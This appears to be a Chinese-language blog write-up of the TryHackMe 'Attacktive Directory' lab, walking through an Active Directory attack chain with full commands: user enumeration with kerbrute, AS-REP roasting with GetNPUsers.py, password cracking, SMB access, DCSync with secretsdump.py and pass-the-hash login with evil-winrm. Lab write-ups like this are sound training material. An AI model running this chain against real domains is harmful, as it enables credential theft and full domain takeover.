Before all
TryHackMe 上的連結:https://tryhackme.com/room/attacktivedirectory
AD是什麼?
Wikipedia 上的介紹
在台灣好厲駭的課有聽過一次Mars大大的AD課程,但因為真的第一次接觸加上東西爆炸多,其實也沒真的學進去多少(頂多觀念),剛好在TryHackMe上看到一堆AD靶機,就來打打吧~
這台機器的在一個AD網路環境,它代表的是一台Kerberos DC(Domain Controller)。
雖然說這有點事後諸葛,但是本題的攻擊鍊是:
:::info
字典攻擊找username -> TGT暴破svc-admin的密碼 -> 用 svc-admin 的身分登入 smb 找到使用者 backup 的密碼備份檔 ->用 backup 的身分透過DRSUAPI的方法炸出每個使用者的hash -> 利用 Pass The Hash 攻擊登入 Administrator
:::
Victim’s IP : 10.10.162.250
Victim’s Host : spookysec.local
Attacker’s IP : 10.9.195.189
註: 記得去變更/etc/hosts
設定檔改Host Name
Write Up
RECON
nmap
Commandnmap -sC -sV -Pn 10.10.162.250
Result
1 | Nmap scan report for 10.10.162.143 |
Analyze
有smb service, RDP,整體架構是AD網路,HOST NAME是spookysec.local
enum4linux
Commandenum4linux -a spookysec.local
Result
許多User資料被炸出來
獲得NetBios Name是THM-AD(但以後續動作來看沒什麼功能…)
kerbrute
新工具,可以去Github上下載到:
Click Me : https://github.com/ropnop/kerbrute/releases
透過題目提供的userlist.txt進行攻擊(也有提供password.txt做後續的hash爆破)
command:
1 | kerbrute userenum --dc 10.10.184.186 -d spookysec.local usernames.txt |
Result
Exploit
首先,安裝Impacket工具包
1 | git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket |
可能會需要掛sudo
(後續攻擊行為也有很多需要,就不贅述)
TGT Attack with svc-admin
獲取TGT的原理大致上是在kerberos驗證的時候進行訊息劫持…(?應該啦)
注意我這時候在的路徑是/opt/impacket/examples
利用Impacket的GetNPUsers.py
進行攻擊
Command
1 | python3 GetNPUsers.py spookysec.local/svc-admin -no-pass |
Result
password cracking
把剛剛的結果丟到pass
john pass --wordlist=passwordlist.txt
SMB to get backup’s password
這步沒太多東西,就是拿到剛剛svc-hosts的密碼後登入smb service
smbclient -U svc-admin //10.10.162.143/backup
密碼get!!
backup to Administrator
利用Impackets中的secretsdump.py
結合backup權限炸出各個使用者的密碼 hash
Commandsudo python3 secretsdump.py -just-dc [email protected]
Result
拿到密碼hash後透過Pass The Hash攻擊登入admin
What is pass the hash attack?
看這篇:https://wwwstar.medium.com/%E5%85%A7%E7%B6%B2%E6%BB%B2%E9%80%8F-pass-the-hash-pth-%E6%94%BB%E6%93%8A%E6%89%8B%E6%B3%95%E5%8F%8A%E9%98%B2%E7%A6%A6-%E5%81%B5%E6%B8%AC%E6%8E%AA%E6%96%BD-e1d15e807a67
利用evil-winrm
工具進行Pass The Hash攻擊直接登入
Commandevil-winrm -i 10.10.88.124 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
Result
RCE!!!
如何確認自己在AD裡面的身分:Get-ADUser -Identity "Administrator" -Properties *
After all
經過這台靶機感覺多會了蠻多技巧,AD還有超級超級多要學,繼續努力w
附上打這台機器沒什麼用但還是物盡其用搞得RDP
駭客ㄉ浪漫啊~
晚ㄢ :>